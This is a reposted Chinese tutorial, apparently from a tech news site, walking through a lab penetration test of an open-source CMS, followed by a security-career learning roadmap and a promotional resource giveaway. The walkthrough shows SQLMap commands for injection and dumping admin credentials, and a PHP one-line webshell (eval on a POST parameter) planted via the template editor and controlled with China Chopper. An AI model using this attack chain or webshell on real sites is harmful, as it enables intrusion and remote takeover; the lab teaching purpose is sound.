首页/新闻资讯/正文详情

开源 CMS 靶场完整渗透实战:SQL 注入拿下服务器权限

发布时间:2026/9/23 5:11:51 来源:云帆数科 栏目:资讯中心
开源 CMS 靶场完整渗透实战:SQL 注入拿下服务器权限
本文基于某个开源的CMS搭建一个靶机来演示Web渗透整个过程。1. SQL注入检测在访问网站时收集资料了解网站的各项接口、功能手动测试其每一个参数是否存在注入。其中发现一个带参数ID的页面如图1所示。图1 带参数ID的页面通过手动注入判断该参数是否为注入点发现当输入id10’and‘1’’0时返回错误页面如图2所示。图2 返回错误页面而当参数id10’and‘1’’1时仍然显示为正确页面由此怀疑ID参数后面的and语句内容被当作SQL语句一部分带入执行此处可能存在SQL注入。2. SQL注入利用纯粹的手工注入将花费大量时间和精力此处利用SQLMap工具对此疑似SQL注入点的参数进行判断。利用SQLMap语句–u “http:/*.*.*.*/yx/index.php?rdefault/column/contentcolproductsid10*”判断该URL是否存在注入其中*表示判断该处参数其结果如图3所示。图3 判断注入结果可见参数 id 存在布尔注入、错误回显注入、时间盲注等多种注入隐患。并且 SQLMap直接判断出其后台数据库为MySQL 5.0服务器为Apache2.4.3脚本环境为PHP5.6.25。利用SQLMap继续查看数据库内容其中利用–dbs参数查看所有数据库发现共有5个库如图4所示。图4 查看数据库猜测yx_test为该CMS的数据库继续深入查看其内容。利用–D 库名–tables可查看指定库的表名如图5所示。图5 查看指定库的表名共有20张表需要得到管理员账号密码因此利用–T参数指定表dump其内容。于是得到了该表的结构以及其中数据并反解MD5可以获得一个登录名为admin的账号和密码654321。3. 后台登录getshell进入后台如图6所示。图6 进入后台继续在后台管理平台上寻找可上传Webshell的方法以取得服务器Shell权限。在进入到全局设置下前台模板的管理模板文件功能后发现有许多PHP文件其中利用添加模板的功能可以直接在网页上编写PHP文件并保存到服务器如图7所示。图7 编写PHP文件利用网页编辑写入一个一句话木马其内容为?php eval($\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\_POST\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\[test\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\]);?写入到一个名为muma.php的文件如图8所示。图8 写入木马木马写入成功只需知道网页地址即可访问链接。最后利用中国菜刀工具连接该木马如图9所示。图9 连接木马成功连接站点可以远程下载、上传任意文件也可运行Shell执行代码。最后网络安全需要学习那些知识网络安全零基础入门学习路线规划初级1、网络安全理论知识2天①了解行业相关背景前景确定发展方向。②学习网络安全相关法律法规。③网络安全运营的概念。④等保简介、等保规定、流程和规范。非常重要2、渗透测试基础一周①渗透测试的流程、分类、标准②信息收集技术主动/被动信息搜集、Nmap工具、Google Hacking③漏洞扫描、漏洞利用、原理利用方法、工具MSF、绕过IDS和反病毒侦察④主机攻防演练MS17-010、MS08-067、MS10-046、MS12-20等3、操作系统基础一周①Windows系统常见功能和命令②Kali Linux系统常见功能和命令③操作系统安全系统入侵排查/系统加固基础4、计算机网络基础一周①计算机网络基础、协议和架构②网络通信原理、OSI模型、数据转发流程③常见协议解析HTTP、TCP/IP、ARP等④网络攻击技术与网络安全防御技术⑤Web漏洞原理与防御主动/被动攻击、DDOS攻击、CVE漏洞复现5、数据库基础操作2天①数据库基础②SQL语言基础③数据库安全加固6、Web渗透1周①HTML、CSS和JavaScript简介②OWASP Top10③Web漏洞扫描工具④Web渗透工具Nmap、BurpSuite、SQLMap、其他菜刀、漏扫等恭喜你如果学到这里你基本可以从事一份网络安全相关的工作比如渗透测试、Web 渗透、安全服务、安全分析等岗位如果等保模块学的好还可以从事等保工程师。薪资区间6k-15k到此为止大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗想要入坑黑客网络安全的朋友给大家准备了一份282G全网最全的网络安全资料包免费领取7、脚本编程初级/中级/高级在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中面对复杂多变的网络环境当常用工具不能满足实际需求的时候往往需要对现有工具进行扩展或者编写符合我们要求的工具、自动化脚本这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中想要高效地使用自制的脚本工具来实现各种目的更是需要拥有编程能力.零基础入门建议选择脚本语言Python/PHP/Go/Java中的一种对常用库进行编程学习 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP IDE强烈推荐Sublime ·Python编程学习学习内容包含语法、正则、文件、 网络、多线程等常用库推荐《Python核心编程》不要看完 ·用Python编写漏洞的exp,然后写一个简单的网络爬虫 ·PHP基本语法学习并书写一个简单的博客系统 熟悉MVC架构并试着学习一个PHP框架或者Python框架 (可选) ·了解Bootstrap的布局或者CSS。8、超级黑客这部分内容对零基础的同学来说还比较遥远就不展开细说了贴一个大概的路线。网络安全工程师企业级学习路线视频配套资料国内外网安书籍、文档工具当然除了有配套的视频同时也为大家整理了各种文档和书籍资料工具并且已经帮大家分好类了。一些我自己买的、其他平台白嫖不到的视频教程要学习网安其实不难难的是坚持和相信自己我的经验是既然已经选定网安你就要相信它相信它能成为你日后进阶的高效渠道这样自己才会更有信念去学习才能在碰到困难的时候坚持下去。机会属于有准备的人这是一个实力的时代。人和人之间的差距不在于智商而在于如何利用业余时间只要你想学习什么时候开始都不晚不要担心这担心那你只需努力剩下的交给时间这份完整版的学习资料已经上传CSDN朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

相关推荐

NOFX AI 交易终端使用指南:故障排查、最佳实践与核心指标深度解读
NOFX AI 交易终端使用指南:故障排查、最佳实践与核心指标深度解读

AI Agent金融科技后端前端 【免费下载链接】nofx Your AI trading terminal assistant for US stocks, commodities, forex, and crypto. 项目地址: https://gitcode.com/gh_mirrors/nof/nofx 点击查看 免费下载 本文以 NOFX 官方用户指南(docs/guides/… · 2026/9/23 5:11:45

2026最新简谱编辑软件选型:3款工具源码对比,解决只会看不会写的痛点
2026最新简谱编辑软件选型:3款工具源码对比,解决只会看不会写的痛点

2026最新简谱编辑软件选型:3款工具源码对比,解决只会看不会写的痛点 看了一堆教程还是不会写项目?这是大多数开发者在接触垂直领域应用时的真实写照。特别是像 简谱编辑软件… · 2026/9/23 5:11:45

STM32 SBUS协议解析:DMA循环+IDLE中断+状态机实战
STM32 SBUS协议解析:DMA循环+IDLE中断+状态机实战

1. 这不是“又一个SBUS解析教程”,而是飞控通信链路上的真实战场你手里的遥控器信号,正以每秒100帧、每帧25字节、波特率100kbps的节奏,通过一根细小的杜邦线,砸向你的STM32主控。这不是实验室里安静的串口调试助手发出来的测试数… · 2026/9/23 5:11:39

2026年3月12日十二生肖运势详解与开运指南
2026年3月12日十二生肖运势详解与开运指南

1. 生肖运势解读的价值与意义在中国传统文化中,生肖运势一直是人们日常生活中关注的重要内容。每逢新年伊始,或是重要节气转换,很多人都会查阅自己的生肖运势,了解未来一段时间的吉凶祸福。这种习俗源于古代天干地支纪年法&#x… · 2026/9/23 5:55:35

2025技术岗位薪资趋势与新兴技术溢价分析
2025技术岗位薪资趋势与新兴技术溢价分析

1. 行业薪资现状全景扫描2025年技术岗位薪酬体系正在经历结构性调整,传统互联网大厂的薪资增速放缓,而新兴领域的溢价能力显著提升。根据我最近参与的行业薪酬调研,初级开发岗位的起薪中位数已达到18-22K/月(一线城市)… · 2026/9/23 5:55:35

3个坑解决spss数据分析论文数据清洗难题
3个坑解决spss数据分析论文数据清洗难题

3个坑解决spss数据分析论文数据清洗难题 昨晚加班到凌晨两点,对着电脑屏幕上的报错信息发呆。明明是从网上复制的Python代码,逻辑看起来也没问题,但一运行就报 ValueError: could not convert string… · 2026/9/23 5:55:29

MyBatis与MySQL深度优化实践指南
MyBatis与MySQL深度优化实践指南

1. 项目概述:当ORM框架遇见数据库内核在Java企业级开发领域,MyBatis作为半自动化的ORM框架,与MySQL这对黄金组合已经服务了无数项目。但很多开发者仅仅停留在"能使用"的层面,当遇到复杂SQL优化、事务隔离异常或连接池瓶… · 2026/9/23 5:55:29

Cloudreve私有云盘搭建教程:从源码部署到文件共享传输配置
Cloudreve私有云盘搭建教程:从源码部署到文件共享传输配置

简介:这是一套基于Cloudreve的私人云盘源码,面向希望自建文件存储与共享服务的个人站长、中小企业及运维学习者。它解决的是公有网盘容量受限、隐私不足的问题,可部署在本地服务器上,让员工随时备份数据,也支持个人搭建… · 2026/9/23 5:55:29

陈见夏性能优化避坑:3个常见错误让你代码慢10倍
陈见夏性能优化避坑:3个常见错误让你代码慢10倍

陈见夏性能优化避坑:3个常见错误让你代码慢10倍 官方文档翻到第三页就头晕?别慌,我当年也是这么过来的。性能优化这事儿,90%的新手都栽在同一个地方:看着代码能跑就完事了,完全没意识到背后的资源消耗。… · 2026/9/23 5:55:23

3招搞定手机怎么下载微信面试难题实战项目解析
3招搞定手机怎么下载微信面试难题实战项目解析

3招搞定手机怎么下载微信面试难题实战项目解析 面试被问“手机怎么下载微信”背后的原理,90%的人答不上来。别笑,这看似弱智的问题,实则是考察你对移动应用分发机制、安全校验及网络协议理解的试金石。我带过不少校招新人,他们背了八股文,却连一个A… · 2026/9/23 0:00:03

你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型
你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型

你有新短消息请注意查收:3个新手避坑指南搞定消息系统选型 面试被问“高并发下如何保证消息不丢失”,你张口就是“用Redis”,结果面试官追问“如果Redis宕机了怎么办”,你瞬间卡壳。这种场景太常见了,很多新手在背八股文时,只记住了技术名词… · 2026/9/23 0:00:29

Win7无线热点配置工具源码解析:解决API失效的3个实战技巧
Win7无线热点配置工具源码解析:解决API失效的3个实战技巧

Win7无线热点配置工具源码解析:解决API失效的3个实战技巧 Win7无线热点配置工具在Win10/11上跑不动?不是你的问题,是版本升级后 API 全变了。很多老项目里的 netsh wlan… · 2026/9/23 0:00:36

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码